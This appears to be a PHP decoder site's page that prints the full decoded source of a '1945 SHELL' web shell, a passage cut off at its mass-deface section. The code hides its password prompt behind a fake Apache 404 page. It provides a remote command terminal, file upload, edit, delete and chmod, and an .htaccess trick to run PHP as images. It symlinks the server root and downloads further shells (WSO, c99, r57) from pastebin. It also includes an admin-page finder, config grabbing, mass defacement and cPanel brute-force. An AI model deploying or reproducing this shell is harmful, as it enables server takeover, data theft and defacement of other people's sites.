Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!is_writable(session_save_path())) { @mkdir("\56\163\x65\163\163\x69\157\x6e", 5..
Decoded Output download
<?php if (!is_writable(session_save_path())) { @mkdir(".session", 511); session_save_path(".session"); } session_start(); function generateRandomStringx($length = 10) { $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $charactersLength = 62; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function License() { echo "<!DOCTYPE html><html><head><meta name='robots' content'noindex, nofollow'><title></title></head><body><h1>Not Found</h1><title>404 Not Found</title><style type='text/css'>input[type=password] { width: 250px; height: 25px; color: white; background: transparent; border: 1px solid white; margin-left: 20px; text-align: center; }</style><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache Server at " . $_SERVER["HTTP_HOST"] . " Port " . $_SERVER["SERVER_PORT"] . "</address><center><form method='post'><input type='password' name='" . $_SESSION["keyxx"] . "' autocomplete='off'><br></form></center></body></html>"; die; } $auth_pass5 = "e948dabd5e6787742bb69828311de44c7d560557"; if (empty($_SESSION["keyxx"])) { $keyxxx = generateRandomStringx(); $_SESSION["keyxx"] = $keyxxx; } $keyxx = $_SESSION["keyxx"]; if (empty($_SESSION[sha1(md5($_SERVER["HTTP_HOST"])) . $keyxx])) { if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) { $_SESSION[sha1(md5($_SERVER["HTTP_HOST"])) . $keyxx] = true; } else { License(); die; } } $alert="<script>
window.location.href='?45=".$_GET['act']."';
</script>";@define('judul','freedom is real - 1945');@define('icons','http://www.animatedimages.org/data/media/781/animated-indonesia-flag-image-0013.gif');@define('icon_folder','<img src="data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=">');@define('icon_file','<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">');if(!isset($_SESSION['fz'])){$fz="13";}else{$fz=$_SESSION['fz'];}if(!isset($_SESSION['bg'])){$bg="#000000";}else{$bg=$_SESSION['bg'];}if(!isset($_SESSION['col'])){$col="#FF0000";}else{$col=$_SESSION['col'];}if(!isset($_SESSION['pcol'])){$pcol="";}else{$pcol=$_SESSION['pcol'];}if(isset($_SESSION['responsive'])){$resmod='<a href="?act='.$_GET['45'].'&mobile_off='.$_GET['45'].'">[ON]</a>';}else{$resmod='<a href="?act='.$_GET['45'].'&mobile='.$_GET['45'].'">[OFF]</a>';}if(isset($_POST['submitfz'])){$_SESSION['fz']=$_POST['fz'];echo"<meta http-equiv='refresh' content='0;URL=?font-size=".$_SESSION['fz']."'>";}if(isset($_POST['submitbg'])){$_SESSION['bg']=$_POST['bgcolor'];echo"<meta http-equiv='refresh' content='0;URL=?bgcolor=".$_SESSION['bg']."'>";}if(isset($_POST['submitcol'])){$_SESSION['col']=$_POST['color'];echo"<meta http-equiv='refresh' content='0;URL=?font-color=".$_SESSION['col']."'>";}if(isset($_POST['submitpc'])){$_SESSION['pcol']=$_POST['pcolor'];echo"<meta http-equiv='refresh' content='0;URL=?public-font-color=".$_SESSION['pcol']."'>";} ?>
<!DOCTYPE html>
<html>
<head>
<title>.[ <?=judul?> ].</title>
<link rel="shortcut icon" href="<?=icons?>">
<?php if(isset($_SESSION['responsive'])){echo $_SESSION['responsive'];} ?>
</head>
<body>
<style type="text/css">
*{
font-size:<?=$fz?>;
color:<?=$pcol?>;
font-family:arial;
}
body{background:<?=$bg?>;color:<?=$col?>;}
a{color:#eee;text-decoration: none;}
a:hover{color:#f00;border-bottom: 1px solid #fff;}
input,option,select{color: #f00;border:1px solid #eee;background:transparent;}
textarea{width:80%;height: 500px;background: #000;color: #f00;border:1px solid #eee;}
textarea:hover,input:hover,option:hover,select:hover{border:1px solid #f00;color: #eee;}
table{border-collapse: collapse;}
.tbl_exp{width: 100%;border-collapse: collapse;border:0;font-size: 14px;margin-bottom: 100px;}
.hover:hover{background: #333;}
.hover{border-bottom: 1px solid grey;}
.header #right{text-align:right;float: right;}
.header #left{text-align: left;float: left;}
#viewimg{margin-top:150px;text-align: center;}
#thead{background: #f00;color: #fff;}
.code{border: 1px solid #fff;width: 80%;text-align: left;font-size: 13px;}
.header{width: 100%;}
</style>
<table class="header">
<tr><td>
<?php if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$sm=ini_get('safe_mode')?"<font color=lime> ON<?font>":"<font color=grey> OFF</font>";$mysql=function_exists('mysql_connect')?"<font color=lime> ON</font>":"<font color=grey> OFF</font>";$url_fp=ini_get('url_fopen')?"<font color=lime> ON</font>":"<font color=grey> OFF</font>";$curl=function_exists('curl_init')?"<font color=lime> ON</font>":"<font color=grey> OFF</font>";$df=ini_get('disable_functions')?substr(ini_get('disable_functions'),0,50).",etc...":"<font color=grey> NONE</font>";echo "
<div id='left'>
<pre style='font-size:13px;'>
SERVER SOFTWARE : ".$_SERVER['SERVER_SOFTWARE']."
UNAME : ".php_uname()."
HOSTNAME : ".$_SERVER['HTTP_HOST']."
IP SERVER : ".gethostbyname($_SERVER['HTTP_HOST'])." | YOUR IP : ".$_SERVER['REMOTE_ADDR']."
User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")
PHP version : ".phpversion()."-[<a href='?act=".getcwd()."&phpinfo=busuK_tampilanNya_kembali_aja'>PHPINFO</a>]
CURL:".$curl."|safemode:".$sm."|URL FOPEN:".$url_fp."|MySQL:".$mysql."
DISABLE FUNCTIONS :".$df."
current dir :";if(isset($_GET['45'])){$d=$_GET['45'];}else{if(isset($_GET['act'])){$d=$_GET['act'];}else{$d=getcwd();}}$d=str_replace('\','/',$d);$path=explode('/',$d);foreach($path as $id=>$curdir){if($curdir==''&&$id==0){$a=true;echo '<a href="?45=/">/</a>';continue;}if($curdir=='')continue;echo '<a href="?45=';for($i=0;$i<=$id;$i++){echo"$path[$i]";if($i!=$id)echo "/";}echo '">'.$curdir.'</a>/';}$pwd=str_replace('\','/',getcwd());(is_writable($d))?$stat="<font color=lime>WRITABLE</font>":$stat="<a style='color:grey' href='?act=".$_GET['45']."¬w=".$_GET['45']."'>NOT WRITABLE</a>"; ?>
~[<?php echo $stat; ?>][<a href="?45=<?php echo $pwd; ?>">home</a>][<a href="javascript:history.go(-1);">back</a>]
</div>
</td><td>
<div id='right'>
<center>
--<[<a href="?act=<?php echo $d; ?>&about=<?php echo $d; ?>">1945 SHELL</a>|<a href="?act=<?=$d?>&theme=<?=$d?>">THEMES</a>]--[
</center>
<br>
[<a href="?act=<?php echo $d; ?>&newfile=<?php echo $d; ?>">Newfile</a>]
[<a href="?act=<?php echo $d; ?>&mkdir=<?php echo $d; ?>">NewDir</a>]
[<a href="?act=<?php echo $d; ?>&shell=<?php echo $d; ?>">Shell</a>]
[<a href="?act=<?php echo $d; ?>&conf=<?php echo $d; ?>">config grab</a>]
[<a href="?act=<?php echo $d; ?>&admfind=<?php echo $d; ?>">Admin finder</a>]
<br>
[<a href="?act=<?php echo $d; ?>&upload=<?php echo $d; ?>">Upload</a>]
[<a href="?act=<?php echo $d; ?>&unzip=<?php echo $d; ?>">Unzip file</a>]
[<a href="?act=<?php echo $d; ?>&stringtools=<?php echo $d; ?>">String Tools</a>]
[<a href="?act=<?php echo $d; ?>&kuchiyose=<?php echo $d; ?>">Kuchiyose no jutsu</a>]
[<a href="?act=<?php echo $d; ?>©=<?php echo $d; ?>">Copy</a>]
<br>
[<a href="?act=<?php echo $d; ?>&ctools=<?php echo $d; ?>">Create tools</a>]
[<a href="?act=<?php echo $d; ?>&mail=<?php echo $d; ?>">Mail sender</a>]
[<a href="?act=<?php echo $d; ?>&massdeface=<?php echo $d; ?>">Mass deface</a>]
[<a href="?act=<?php echo $d; ?>&cpbrute=<?php echo $d; ?>">cPanel bruteforce</a>]
<br><br>
<form method="get">
Go to dir:<input type="text" name="45" value="<?php echo $d; ?>" style="width:250px">
<input type="submit" value=">>">
</form>
</div>
</td></tr></table>
<?php if(isset($_GET['act'])){$k=array('adminer'=>"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php",'wso'=>"http://pastebin.com/raw/N0eh3Q7Y",'whmcs'=>"http://pastebin.com/raw/TjiXt4r1",'bejak'=>"http://pastebin.com/raw/sQJVES6y",'terminal'=>'http://pastebin.com/raw/2ADSfZYk','pastebin'=>'http://pastebin.com/raw/RCbhjsXJ','indoxploit_shell'=>'http://pastebin.com/raw/nC6pWh5a','andela'=>'http://pastebin.com/raw/0dkmjaWJ','injection'=>'http://pastebin.com/raw/znH7r6Jr','sbh'=>'http://pastebin.com/raw/SMDJVTF8','bh'=>'http://pastebin.com/raw/3L2ESWeu','jkt48'=>'http://pastebin.com/raw/TujADXPn','c99'=>'http://pastebin.com/raw/Ms0ptnpH','r57'=>'http://pastebin.com/raw/S9tzBgg3',);function kuchiyose($url,$isi){$fp=fopen($isi,"w");$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_FILE,$fp);return curl_exec($ch);curl_close($ch);fclose($fp);ob_flush();flush();}if($_GET['kuchiyose']=='adminer'){if(file_exists('1945_adminer.php')){echo" done!! => <a href='1945_adminer.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['adminer'],'1945_adminer.php')){echo"done!! --> <a href='1945_adminer.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['notw']){if(chmod($_GET['notw'],0777)){echo"<script>
alert('chmod successfull..');
window.location.href='?45=".$_GET['notw'];}else{echo"
<script>
alert('gagal CHMOD Directory :( ');
</script>";}}elseif($_GET['kuchiyose']=='wso'){if(file_exists('1945_wso.php')){echo" done!! => <a href='1945_wso.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['wso'],'1945_wso.php')){echo"done!! --> <a href='1945_wso.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='whmcs'){if(file_exists('1945_whmcs.php')){echo" done!! => <a href='1945_whmcs.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['whmcs'],'1945_whmcs.php')){echo"done!! --> <a href='1945_whmcs.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='bejak'){if(file_exists('1945_b374k.php')){echo" done!! => <a href='1945_b374k.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['bejak'],'1945_b374k.php')){echo"done!! --> <a href='1945_b374k.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='bypass_shell'){$isi="
Addhandler application/x-httpd-php .jpg";$fp=fopen('.htaccess','a+');if(fwrite($fp,$isi)){if(rename($_SERVER['SCRIPT_FILENAME'],"1945.jpg")){echo"
<script>
alert('berhasil kakak!!');
window.location.href='1945.jpg'
</script>";}}fclose($fp);}elseif($_GET['kuchiyose']=='terminal'){if(file_exists('1945_b374k.php')){echo" done!! => <a href='1945_terminal.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['terminal'],'1945_terminal.php')){echo"done!! --> <a href='1945_terminal.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='pastebin'){if(file_exists('1945_pastebin.php')){echo" done!! => <a href='1945_pastebin.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['pastebin'],'1945_pastebin.php')){echo"done!! --> <a href='1945_pastebin.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='indoxploit_shell'){if(file_exists('1945_indoXploit_shell.php')){echo" done!! => <a href='1945_indoXploit_shell.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['indoxploit_shell'],'1945_indoxploit_shell.php')){echo"done!! --> <a href='1945_indoxploit_shell.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='andela'){if(file_exists('1945_andela.php')){echo" done!! => <a href='1945_andela.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['andela'],'1945_andela.php')){echo"done!! --> <a href='1945_andela.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='injection'){if(file_exists('1945_1n73ction.php')){echo" done!! => <a href='1945_1n73ction.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['injection'],'1945_1n73ction.php')){echo"done!! --> <a href='1945_1n73ction.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='sbh'){if(file_exists('1945_sbh.php')){echo" done!! => <a href='1945_sbh.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['sbh'],'1945_sbh.php')){echo"done!! --> <a href='1945_sbh.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='bh'){if(file_exists('1945_bh.php')){echo" done!! => <a href='1945_bh.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['bh'],'1945_bh.php')){echo"done!! --> <a href='1945_bh.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='jkt48'){if(file_exists('1945_jkt48.php')){echo" done!! => <a href='1945_jkt48.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['jkt48'],'1945_jkt48.php')){echo"done!! --> <a href='1945_jkt48.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='c99'){if(file_exists('1945_c99.php')){echo" done!! => <a href='1945_c99.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['c99'],'1945_c99.php')){echo"done!! --> <a href='1945_c99.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='r57'){if(file_exists('1945_r57.php')){echo" done!! => <a href='1945_r57.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['r57'],'1945_r57.php')){echo"done!! --> <a href='1945_r57.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='root'){system('ln -s / 1945~.txt');$fvckem='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';$file=fopen(".htaccess","w+");$write=fwrite($file,base64_decode($fvckem));$Mauritania=symlink("/","1945~.txt");$rt="<br><a href='1945~.txt' TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
berhasil kakak! touch me senpai..</b></font></a></center>";echo "<center><br><br><b>Done.. !</b><br>".$rt;echo "</form>";}elseif(isset($_GET['rmdir'])){function rmdir_unlink_rmdir($d){if(!rmdir($d)){$s=scandir($d);foreach($s as $ss){if(is_file($d."/".$ss)){if(unlink($d."/".$ss)){rmdir($d);}}if(is_dir($d."/".$ss)){rmdir($d."/".$ss);rmdir($d);}}}}if(rmdir_unlink_rmdir($_GET['rmdir'])){echo $alert;}else{echo $alert;}}elseif(isset($_GET['rm'])){$rm=$_GET['rm'];if(unlink($rm)){echo $alert;}}elseif(isset($_GET['rename'])){echo"
<br><br><br><br>
<center>
<form method='post' >
<p>Old name : ".basename($_GET['rename'])."</p>
NewName :
<input type='text' name='newname' value='".$_GET['rename']."'><input type='submit' value='>>'>
</form>";if(isset($_POST['newname'])){$oldname=$_GET['rename'];$newname=$_POST['newname'];if(rename($oldname,$newname)){echo $alert;}}}elseif(isset($_GET['edit'])){echo"
<center>
<form method='post' >
<textarea name='edit'>".htmlspecialchars(file_get_contents($_GET['edit']))."</textarea>
<br>
<input type='text' name='editdir' value='".$_GET['edit']."' style='width:350px'><input type='submit' name='editsave' value='save' >
</form>";if(isset($_POST['editsave'])){$fp=fopen($_POST['editdir'],'w');if(fwrite($fp,$_POST['edit'])){echo"<br> saved@".date('D M Y');}fclose($fp);}}elseif(isset($_GET['chmod'])){echo"<center>
<h3>: change permission files :</h3>
<form method='post' >
Permission :
<input type='text' name='perms' value='".fileperms($_GET['chmod'])."'><input type='submit' value='>>'>
</form>";if(isset($_POST['perms'])){if(chmod($_GET['chmod'],$_POST['perms'])){echo'Permission changed! <a href="javascript:history.go(-1)">back</a>';}}}elseif(isset($_GET['src'])){echo'
<table>
<tr><td>[<a href="?act='.$_GET['act'].'&edit='.$_GET['src'].'">edit</a>]</td><td>
[<a href="?act='.$_GET['act'].'&rm='.$_GET['src'].'">delete</a>]</td><td>
[<a href="?act='.$_GET['act'].'&rename='.$_GET['src'].'">rename</a>]</td><td>
[<a href="?act='.$_GET['act'].'&chmod='.$_GET['src'].'">chmod</a>]</td><td>
[<a href="?act='.$_GET['act'].'&download='.$_GET['src'].'">download</a>]</td></tr></table>
<center>
<h3>: View file :</h3>
<p>Current file: <font color=white>'.$_GET['src'].'</font></p>
';$src=$_GET['src'];$get_basename=basename($src);$a=preg_match('/.jpg/',$get_basename);$b=preg_match('/.png/',$get_basename);$c=preg_match('/.gif/',$get_basename);$cwd=str_replace('\','/',getcwd());$plc=str_replace($cwd,'',$src);if($c||$b||$a){echo"
<br>
<center>
<img src='".$plc."' id='viewimg' />";}else{$f=$_GET['src'];$file=wordwrap(file_get_contents($f),160,"
",true);$a=highlight_string($file,true);$old=array("0000BB","000000","FF8000","DD0000","007700");$new=array("81FF00","e1e1e1","333333","ffffff","FF8000");$a=str_ireplace($old,$new,$a);$result=$a;echo'
<pre class="code">'.$result.'</pre>';}}elseif(isset($_GET['upload'])){if(isset($_POST['upfile'])){$files=array('1'=>$_FILES['files']['name'],'2'=>$_FILES['files2']['name'],'3'=>$_FILES['files3']['name'],'4'=>$_FILES['files4']['name'],'5'=>$_FILES['files5']['name']);$tmp=array('1'=>$_FILES['files']['tmp_name'],'2'=>$_FILES['files2']['tmp_name'],'3'=>$_FILES['files3']['tmp_name'],'4'=>$_FILES['files4']['tmp_name'],'5'=>$_FILES['files5']['tmp_name']);$dir=array('1'=>$_POST['dir']."/",'2'=>$_POST['dir2']."/",'3'=>$_POST['dir3']."/",'4'=>$_POST['dir4']."/",'5'=>$_POST['dir5']."/");if(move_uploaded_file($tmp['1'],$dir['1'].$files['1'])){echo"<br>uploaded -->".$dir['1'].$files['1'];}if(move_uploaded_file($tmp['2'],$dir['2'].$files['2'])){echo"<br> uploaded --> ".$dir['2'].$files['2'];}if(move_uploaded_file($tmp['3'],$dir['3'].$files['3'])){echo"<br>uploaded --> ".$dir['3'].$files['3'];}if(move_uploaded_file($tmp['4'],$dir['4'].$files['4'])){echo"<br>uploaded --> ".$dir['4'].$files['5'];}if(move_uploaded_file($tmp['5'],$dir['5'].$files['5'])){echo"<br>uploaded --> ".$dir['5'].$files['5'];}echo"<br>
<font color=white>Success... berhasil dengan tamvanz :)</font>";}if(is_writable($_GET['upload'])){$stat='<font color="lime">Writable(bisa)</font>';}else{$stat='<font color="grey">Not Writable(gak bisa)</font>';} ?>
<center>
<h3>: MultiUpload Files :</h3>
<p> status upload file : <?php echo $stat; ?></p>
<font color=white>NB : kosongkan jika tidak perlu </font>
<table border=1><tr><td>file</td><td>Target Dir</td></tr>
<tr><td>
<form method="Post" enctype="multipart/form-data">
<input type="file" name="files" ></td><td>
<input type="text" name="dir" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files2" ></td><td>
<input type="text" name="dir2" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files3" ></td><td>
<input type="text" name="dir3" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files4" ></td><td>
<input type="text" name="dir4" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files5"></td><td>
<input type="text" name="dir5" value="<?php echo $_GET['upload']; ?>">
</td></tr></table>
<br>
<input type="submit" name="upfile" class="btn btn-primary" value="upload all">
</form>
</center>
<?php }elseif(isset($_GET['mkdir'])){echo'
<center>
<h3>: New Directory :</h3>
<form method="post">
newdir:<input type="text" name="mkdir" value="'.$_GET['mkdir'].'/newdir" style="width:200px;">
<input type="submit" value=">>">
</form>';if(isset($_POST['mkdir'])){if(mkdir($_POST['mkdir'])){echo $alert;}}}elseif(isset($_GET['newfile'])){echo'
<center>
<h3>: Newfile :</h3>
<form method="post">
<textarea name="newfile"> </textarea>
<br>
save :<input type="text" name="saveas" value="'.$_GET['newfile'].'/new.php" style="width:60%">
<input type="submit" value=">>" name="subfile">
</form><br><br><br>';if(isset($_POST['subfile'])){$fp=fopen($_POST['saveas'],'w');if(fwrite($fp,$_POST['newfile'])){echo $alert;}fclose($fp);}}elseif(isset($_GET['shell'])){echo'
<center>
<fieldset style="border-collapse:collapse;height:500px;">
<legend>Terminal</legend>
<form method="post">
<div style="float:left;text-align:left">
'.$user.'@<font color=white>'.$_SERVER['HTTP_HOST'].'</font><font color=lime> '.$_GET['shell'].'</font> #:<input type="text" name="command" style="border:0;width:400px;max-width:relative;">
</div>
</form>';if(isset($_POST['command'])){if(function_exists('shell_exec')){$cmd=shell_exec($_POST['command']);}else{if(function_exists('exec')){$cmd=exec($_POST['command']);}else{if(function_exists('system'));$cmd=system($_POST['command']);}}echo'
<br>
<textarea style="color:lime;text-align:left;width:100%;height:90%;border:0;resize:none;" readonly>
'.$cmd.'</textarea></fieldset>';}}elseif(isset($_GET['admfind'])){ ?>
<center>
<h3>: admin finder :</h3>
<form method="POST" action="">
site :
<input type="text" name="url" style="width:260px" value="http://"/>
<input type="submit" name="submit" value="find[!]" />
</p>
<br>
<br>
<?php function xss_protect($data,$strip_tags=false,$allowed_tags=""){if($strip_tags){$data=strip_tags($data,$allowed_tags."<b>");}if(stripos($data,"script")!==false){$result=str_replace("script","scr<b></b>ipt",htmlentities($data,ENT_QUOTES));}else{$result=htmlentities($data,ENT_QUOTES);}return $result;}function urlExist($url){$handle=curl_init($url);if(false===$handle){return false;}curl_setopt($handle,CURLOPT_HEADER,false);curl_setopt($handle,CURLOPT_FAILONERROR,true);curl_setopt($handle,CURLOPT_HTTPHEADER,Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15"));curl_setopt($handle,CURLOPT_NOBODY,true);curl_setopt($handle,CURLOPT_RETURNTRANSFER,false);$connectable=curl_exec($handle);curl_close($handle);return $connectable;}if(isset($_POST['submit'])&&isset($_POST['url'])){$url=htmlentities(xss_protect($_POST['url']));if(filter_var($url,FILTER_VALIDATE_URL)){$trying=array(':2082',':2083','a_admins/','admin/','adminweb/','po-admin','index.php?q=admin','administrator/','admin/admin.php','cpanel','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin.asp','admin/admin.asp','admin_area/admin.asp','admin_area/login.asp','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','user.asp','webadmin/index.asp','webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp','admin/adminLogin.asp','home.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2/login.asp','admin2/index.asp','adm/index.asp','adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp');foreach($trying as $sec){$urll=$url.'/'.$sec;if(urlExist($urll)){echo '<p align="center"><font color="00FF00">[+] FOUND!! --> <a href="'.$urll.'" target="_blank">'.$urll.'</a></font></p>';exit;}else{echo '<p align="center"><font color="#eee">[-] NOT FOUND --> '.$urll.'</font></p>';}}echo 'Could not find admin page.[!]';}else{echo '<p>Invalid URL entered.[!]</p>';}}}elseif(isset($_GET['massdeface'])){echo'<center>
<h3> : Mass deface :</h3>
